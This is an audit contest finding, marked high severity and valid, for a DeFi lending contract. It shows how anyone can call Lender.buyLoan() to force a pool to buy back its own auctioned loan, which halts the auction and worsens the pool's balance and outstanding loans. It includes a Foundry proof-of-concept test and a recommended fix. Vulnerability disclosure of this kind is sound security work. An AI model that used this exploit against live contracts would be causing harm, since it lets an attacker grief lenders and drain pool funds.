20,000 USDC
View results
Submission Details
Severity: high
Valid

Attacker can grief auction, decrease pool balance & increase outstanding loans by buying an auctioned loan back to the same pool

Summary

Attacker can grief auction, decrease pool balance & increase outstanding loans by buying an auctioned loan back to the same pool.

Vulnerability Details

Lender.buyLoan() doesn't check if the poolId parameter is the same pool that has auctioned the loan. An attacker can use Lender.buyLoan() to grief the selling pool by stopping the auction via buying the auctioned loan back to the same pool. This also reduces that pool's balance and increases that pool's outstanding loans, negatively impacting the pool's financials.

Proof of concept: first add the following utility functions to Lender.sol:

// added for audit contest proof of concept
function getPoolBalance(bytes32 poolId) external view returns(uint256 poolBalance) {
return pools[poolId].poolBalance;
}
// added for audit contest proof of concept
function getPoolOutstandingLoans(bytes32 poolId) external view returns(uint256 outstandingLoans) {
return pools[poolId].outstandingLoans;
}

Then add the test to test/Lender.t.sol:

function test_attackerGriefBuyLoanToSellingPool() public {
// using modified setup from test_buyLoan()
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// find the poolId which will auction the loan
bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
// record the pool's balance & outstanding loans before the auction & exploit
uint256 poolBalanceBefore = lender.getPoolBalance(poolId);
uint256 poolOustandingLoansBefore = lender.getPoolOutstandingLoans(poolId);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
// stop lender1 prank
vm.stopPrank();
// attacker is not a lender & has no pool but can
// call Lender.buyLoan() to force selling pool to buy their own loan
// this will grief the auction as the attacker can always stop an auction
// by forcing the selling pool to buy back its own loan
address attacker = address(0x1337);
vm.prank(attacker);
lender.buyLoan(loanIds[0], poolId);
// record the pool's balance & outstanding loans after the exploit
uint256 poolBalanceAfter = lender.getPoolBalance(poolId);
uint256 poolOustandingLoansAfter = lender.getPoolOutstandingLoans(poolId);
console.log("poolBalanceBefore : ", poolBalanceBefore);
console.log("poolBalanceAfter : ", poolBalanceAfter);
console.log("poolOustandingLoansBefore : ", poolOustandingLoansBefore);
console.log("poolOustandingLoansAfter : ", poolOustandingLoansAfter);
// this attack negatively impacts the pool's balance & oustanding loans:
// pool balance is reduced after the attack
assert(poolBalanceAfter < poolBalanceBefore);
// pool outstanding loan is increased after the attack
assert(poolOustandingLoansAfter > poolOustandingLoansBefore);
}

Impact

Attacker can grief any auction stopping it at will by buying the auctioned loan back to the originating pool. This also decreases the pool's balance & increases the pool's outstanding loans, hurting the pool financially.

Tools Used

Manual

Recommendations

Lender.buyLoan() must check poolId parameter does not match the selling poolId.

The decrease in pool balance & increase in pool outstanding debt is due to a mismatch between L489-490 & L498-502 where the first includes protocolInterest but the second doesn't.

The same mismatch occurs in giveLoan() compare L387-388 vs L396-400 but this isn't directly exploitable as only the lender can call giveLoan(), giveLoan() should also have a sanity check that poolId != oldPoolId

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.